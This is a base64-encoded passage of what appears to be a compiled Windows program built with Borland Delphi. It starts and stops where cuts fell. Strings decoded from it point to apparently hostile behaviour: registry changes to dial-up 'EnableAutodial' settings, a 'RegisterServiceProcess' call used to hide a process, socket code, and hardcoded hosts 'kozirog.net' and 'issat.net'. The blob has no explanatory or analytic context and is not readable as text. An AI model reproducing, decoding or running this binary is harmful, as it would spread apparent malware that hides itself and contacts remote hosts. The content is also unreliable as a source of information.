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 vFRAAAB9CrjiAAAA6CP2//9oCAAAAGpA6L////+L2IXbdQy44gAAAOgH9v// 6wxTobxUQABQ6LH///+JHcxUQABbw5CKDbhUQACLBbxUQACEyXUoZIsVLAAA AIsEgsPokP///4sFvFRAAFDodP///4XAdAHDiwXMVEAAw1DoYv///4XAdNnD kFOBxPj+//9oBQEAAI1EJARQocRUQABQ6Cj///+LxOg99v//i9iJHahAQACF 23UKoZxAQACjqEBAALiYQEAA6HH4//+BxAgBAABbw5BQagDo+P7//7qYQEAA UokFxFRAAIlCBMdCCAAAAADHQgwAAAAA6Ir///9aWOhX8///w4vAVYvsM8BV aC04QABk/zBkiSD/BchUQAAzwFpZWWSJEGg0OEAAw+km8P//6/hdw4vAgy3I VEAAAcP/JZRhQACLwP8lkGFAAIvA/yWMYUAAi8D/JaRhQACLwP8loGFAAIvA /yWcYUAAi8D/JbRhQACLwP8lsGFAAIvA/yWsYUAAi8BVi+wzwFVorThAAGT/ MGSJIP8F0FRAADPAWllZZIkQaLQ4QADD6abv///r+F3Di8CDLdBUQAABw/8l 2GFAAIvA/yXUYUAAi8D/JdBhQACLwP8lzGFAAIvA/yXIYUAAi8D/JcRhQACL wP8lwGFAAIvA/yW8YUAAi8CBxATw//9Qg8T4VGhgOUAAaAEAAIDoLv///zPA iUQkBGoEjUQkCFBqA2oAaJw5QACLRCQUUOgW////iwQkUOj9/v//jUQkCFBo AQEAAOhu////ZoXAD5TAgcQIEAAAwwBTT0ZUV0FSRVxNaWNyb3NvZnRcV2lu ZG93c1xDdXJyZW50VmVyc2lvblxJbnRlcm5ldCBTZXR0aW5ncwBFbmFibGVB dXRvZGlhbAAAU1aDxOSL2Iv06wxW6MP+//9W6K3+//9qAWoAagBqAFbop/7/ /4XAdeIPt8NQ6Ir+//+DxBxeW8NTVoPE5IvaiQQkagZqAWoC6M/+//+L8GbH RCQIAQBmx0QkCgAAagSNRCQMUGiAAAAAaP//AABW6LD+///HRCQEAQAAAI1E JARQaH5mBIBW6KD+//+NRCQMM8m6EAAAAOgM6///ZsdEJAwCAIsEJIlEJBAz wIrDweAIZolEJA5qEI1EJBBQVuhx/v//6IT+//9mPTMndA9mPUEndAlmuDB1 6CP///9W6Fn+//+DxBxeW8ONQABTVovyUOhO/v//i9iF23QQD7dLCovWi0MM iwDoIOr//4XbD5XAXlvDU4vYobBAQACJA4vTuNw6QADowv///4TAW8MAAGtv emlyb2cubmV0aXNzYXQubmV0AAAAALgDAAAA6Hbq//+D6AJzE7giAAAA6Gfq //9miwRFtEBAAMO4ECcAAOhU6v//w41AAFO71FRAAIvD6I/////ovv///4vQ iwPopf7//7hkAAAA6Cvq///oXv7//7jIAAAA6Bzq//+FwHXOuKAPAADoDur/ /2YF6APoPf7//+u5W8OQaJg7QADo2vz//2ioO0AAUOjX/P//hcB0CInCagFq AP/SwwAAS0VSTkVMMzIuRExMAAAAAFJlZ2lzdGVyU2VydmljZVByb2Nlc3MA AFWL7DPAVWjfO0AAZP8wZIkgM8BaWVlkiRBo5jtAAMPpdOz//+v4XcMEAAAA 8DtAADg4QAAIOEAA1DVAAGw1QAC4OEAAiDhAAAAAAADAO0AAVYvsg8T0uOg7 QADotPv//2a46APog/3//+hG////6OXo///oyPz//+jn/v//6M7v//+LwAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADITi8AAjUAA AAAAAAAAAACsHkAANCBAAKgjQABSdW50aW1lIGVycm9yICAgICBhdCAwMDAw MDAwMACLwEVycm9yAIvAMDEyMzQ1Njc4OUFCQ0RFRiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICANCovAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1EjBdQcACQALAA0A DwATABUAFwAZACUAKwAxADUARgBPAG0AbgBvAHEAdwALGpAfFwAZADUAUAAX ABkANQBQABcAGQA1AFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA4GEAAMhgAAAAAAAAAAAAAAAAAAAUZAAA UGEAAAAAAAAAAAAAAAAAAEBkAABcYQAAAAAAAAAAAAAAAAAAgGQAAGxhAAAA AAAAAAAAAAAAAACeZAAAdGEAAAAAAAAAAAAAAAAAAABlAACMYQAAAAAAAAAA AAAAAAAAPmUAAJxhAAAAAAAAAAAAAAAAAAB6ZQAArGEAAAAAAAAAAAAAAAAA AL5lAAC8YQAAAAAAAAAAAAAAAAAAAAAAAAAAAADuYQAABGIAABxiAAA0YgAA TGIAAGhiAAB2YgAAhmIAAJJiAACgYgAAsGIAALxiAADIYgAA2mIAAOxiAAD+ YgAAFGMAACZjAAA2YwAASGMAAFZjAABkYwAAcGMAAIJjAACSYwAAnmMAAKpj AAC8YwAAzGMAANpjAADqYwAA+GMAAAZkAAAAAAAAIGQAADJkAAAAAAAATmQA AGJkAAByZAAAAAAAAI5kAAAAAAAArGQAALpkAADIZAAA1mQAAOpkAAAAAAAA DmUAACBlAAAwZQAAAAAAAExlAABUZQAAZmUAAAAAAACGZQAAmmUAAKplAAAA AAAAymUAANxlAADsZQAA+mUAAARmAAASZgAAIGYAACpmAAAAAAAAa2VybmVs MzIuZGxsAAAAAEdldEN1cnJlbnRUaHJlYWRJZAAAAABEZWxldGVDcml0aWNh bFNlY3Rpb24AAABMZWF2ZUNyaXRpY2FsU2VjdGlvbgAAAABFbnRlckNyaXRp Y2FsU2VjdGlvbgAAAABJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uAAAAVmly dHVhbEZyZWUAAABWaXJ0dWFsQWxsb2MAAAAATG9jYWxGcmVlAAAATG9jYWxB bGxvYwAAAABWaXJ0dWFsUXVlcnkAAAAAbHN0cmxlbkEAAAAAbHN0cmNweUEA AAAATG9hZExpYnJhcnlFeEEAAAAAR2V0VGhyZWFkTG9jYWxlAAAAR2V0U3Rh cnR1cEluZm9BAAAAR2V0TW9kdWxlRmlsZU5hbWVBAAAAAEdldExvY2FsZUlu Zm9BAAAAAEdldExhc3RFcnJvcgAAAABHZXRDb21tYW5kTGluZUEAAABGcmVl TGlicmFyeQAAAEV4aXRQcm9jZXNzAAAAV3JpdGVGaWxlAAAAU2V0RmlsZVBv aW50ZXIAAAAAU2V0RW5kT2ZGaWxlAAAAAFJ0bFVud2luZAAAAFJlYWRGaWxl AAAAAFJhaXNlRXhjZXB0aW9uAAAAAEdldFN0ZEhhbmRsZQAAAABHZXRGaWxl U2l6ZQAAAEdldFN5c3RlbVRpbWUAAABHZXRGaWxlVHlwZQAAAENyZWF0ZUZp bGVBAAAAQ2xvc2VIYW5kbGUAdXNlcjMyLmRsbAAAAABHZXRLZXlib2FyZFR5 cGUAAABNZXNzYWdlQm94QQBhZHZhcGkzMi5kbGwAAAAAUmVnUXVlcnlWYWx1 ZUV4QQAAAABSZWdPcGVuS2V5RXhBAAAAUmVnQ2xvc2VLZXkAb2xlYXV0MzIu ZGxsAAAAAFZhcmlhbnRDbGVhcgAAa2VybmVsMzIuZGxsAAAAAFRsc1NldFZh bHVlAAAAVGxzR2V0VmFsdWUAAABMb2NhbEFsbG9jAAAAAEdldE1vZHVsZUhh bmRsZUEAAAAAR2V0TW9kdWxlRmlsZU5hbWVBAABhZHZhcGkzMi5kbGwAAAAA UmVnU2V0VmFsdWVFeEEAAAAAUmVnQ3JlYXRlS2V5QQAAAFJlZ0Nsb3NlS2V5 AGtlcm5lbDMyLmRsbAAAAABTbGVlcAAAAEdldFByb2NBZGRyZXNzAAAAAEdl dE1vZHVsZUhhbmRsZUEAAHVzZXIzMi5kbGwAAAAAVHJhbnNsYXRlTWVzc2Fn ZQAAAABQZWVrTWVzc2FnZUEAAAAARGlzcGF0Y2hNZXNzYWdlQQAAV1NPQ0sz Mi5ETEwAAABXU0FHZXRMYXN0RXJyb3IAAABnZXRob3N0YnluYW1lAAAAY2xv c2Vzb2NrZXQAAABjb25uZWN0AAAAaW9jdGxzb2NrZXQAAABzZXRzb2Nrb3B0 AAAAAHNvY2tldAAAAABXU0FTdGFydHVwAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcEAACHBAALxUQAAQ gEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAQAAAwAQAAAjAKMBIwGjAiMCowMjA6MEIwSjBSMFowYjBqMHIwejCC MIowkjCaMKIwqjCyMLowwjDKMNIw2jDiMA4xFjEeMSYxLjE2MT4xRjFPMXAx eDHgMecxLzOmM/UzOzRONMQ0CDVJNX01iTWkNTc2hjfCN9836jf1N/03BzgR OBs4MTg3OEU4WDhiOGg4djh8OIQ4ljiiOLE4vTjFONA41jjjOOk4AzkKORQ5 HjkoOTQ5PzlQOVY5XjloOX85ijmrOcM54jn6OQI6QjpYOqc6xzrlOvc7BDw3 PD08VjxfPGg8czx8PIM8kjyZPLs8FD0cPaE9vz3EPco9Nj48Pkw+VT6aPqM+ uT7XPuM+6z4eP0g/Yj+MP5U/pT+tP7M/vD/DP8g/zj/hP+o/AAAAIAAA+AAA AAgwDjAWMEAwRjBYMHAwfDCEMJswqjC6MNow8jAWMR4xJDEqMVwxgDGeMa4x tDG8MRYyITIqMjAyQDJJMpoyoTKxMrsywTLJMs8y1TLcMuYyjTO1M9Mz3zPn M0E0RzRPNHI0iTSXNEs1djWBNY41zTXdNfM1ETYnNj42UzaNNqI2vjbyNiY3 TjdsN683/DckOG84lzjzORE6MzpkOm06eDqjOrg6AzsWOyo7XjtmO2w7dTuA O487lDutO7g7wDvLO9074zvpOwI8FTwaPB88QTxPPFc8XDxvPHQ8gjwqPTY9 mD0ZPjc+TT6LPqE+7T/+PwAwAAD0AAAAPjBFMFcwdTB+MIowkTC+MGoxkzGa MaExYDKbMuoylTMwNGI0wDT7NHM1fzWGNZA1nzWpNbM1xTXbNec19TX8NQM2 CTYQNhc2HzYoNjE2OTZDNkc2TTZRNlc2WzZzNng2gjaHNpY2oDaqNrc2zjbW Nt425jbuNgA3MTc9N0Y3TDdmN3c3mjevN7g3vTfCN9035DcPOBs4KDg6OEI4 SjhSOFo4YjhqOHI4ejiCOI84mzioOLo4wjjKONI42jjiOOo48jj6OAw5LDnE Os06ETsmO3U7fzvHO9o77DvwO/Q7+Dv8OwA8BDwMPBc8AAAAQAAAEAAAABAw FDAYMAAAAIAAABQAAAAAMAQwCDAMMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAbaJu KQAAAAAAAAQAAwAAADAAAIAKAAAAUAAAgA4AAABwAACAEAAAAIgAAIAAAAAA baJuKQAAAAAAAAIAAQAAAKAAAIACAAAAuAAAgAAAAABtom4pAAAAAAIAAACQ AQCA0AAAgJ4BAIDoAACAAAAAAG2ibikAAAAAAQAAALYBAIAAAQCAAAAAAG2i bikAAAAAAAABAAEAAAAYAQCAAAAAAG2ibikAAAAAAAABAAkEAAAwAQAAAAAA AG2ibikAAAAAAAABAAkEAABAAQAAAAAAAG2ibikAAAAAAAABAAAAAABQAQAA AAAAAG2ibikAAAAAAAABAAAAAABgAQAAAAAAAG2ibikAAAAAAAABAAkEAABw AQAAAAAAAG2ibikAAAAAAAABAAIEAACAAQAAyKEAAOgCAAAAAAAAAAAAALCk AAAoAQAAAAAAAAAAAADYpQAAEAAAAAAAAAAAAAAA6KUAAEAAAAAAAAAAAAAA ACimAAAiAAAAAAAAAAAAAABMpgAAMAMAAAAAAAAAAAAABgBEAFYAQwBMAEEA TAALAFAAQQBDAEsAQQBHAEUASQBOAEYATwAIAE0AQQBJAE4ASQBDAE8ATgAo AAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA gAAAgAAAAICAAIAAAACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAA AP8A/wD//wAA////AIAAAAAAAAAAAAAAAAAAAACPiIiIiIiIiIiIiIAAMHgA j3d3d3d3d3d3d3eAAwf4AI93d3d3d3d3d3d3gDMH/4CPd3d3d///d3d3dwM4 h/+Aj3///3cIf3f///A7cIf/gI94iIh3CH93iAAHt7CH//iPd3d3dwh/d3Mz O3twiH/4j3d3d3cIf3c/s7e3sAB/+I9///93CH93P3N7e3CID/iPeIiIdwh/ dz+zv7/weA/4j3d3d3cIf3c/8/v78PgP+I93d3d3CH93P7P///AI//iPf/// dwh/d/Mzu/vwh//4j3iIiHcIf3eIiDe/sHf/+I93d3d3CH93d3dze/sH/4CP d3d3dwh/d3d3dze/B/+Aj3///3cIf3f///eDewf/gI94iIh3CH93iIiHgDeA eACPd3d3gAAAAHd3d4ADcHgAj3d3d493d3B3d3eAADAAAI9///+IiIiI///3 gAAAAACPeIiIdwh/d4iIh4AAAAAAj3d3d3cIf3d3d3eAAAAAAI93d3d3CH93 d3d3gAAAAACPf///dwh/d///94AAAAAAj3iIiHcIf3eIiIeAAAAAAI93d3d3 AAB3d3d3gAAAAACPd3d3d3d3d3d3d4AAAAAAj3d3d3d3d3d3d3eAAAAAAI// ////////////8AAAAACIiIiIiIiIiIiIiIgAAAAAAAAAxwAAAIMAAAADAAAA AQAAAAEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAQAAAAEAAAABAAAAAwAAAIMAAADHAAAA/wAAAP8AAAD/AAAA/wAAAP8A AAD/AAAA/wAAAP8AAAD/AAAA/wAAAP8oAAAAEAAAACAAAAABAAQAAAAAAMAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAA AMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAA AI+IiIiIgAAAj3d3d3eAAACPd3/3d4AAAI//cPf/gAAAj4hw94iAAACPd3D3 d4AAAI//cPf/gAAAj4hw94iAAACPdwAAd4AAAI//iIj/gAAAj4hw94iAAACP d3AHd4AAAI93d3d3gAAAj//////wAACIiIiIiIgAwAMAAMADAADAAwAAwAMA AMADAADAAwAAwAMAAMADAADAA70AwAMxNsADTQDAA70AwANvbcADbGXAA3MJ 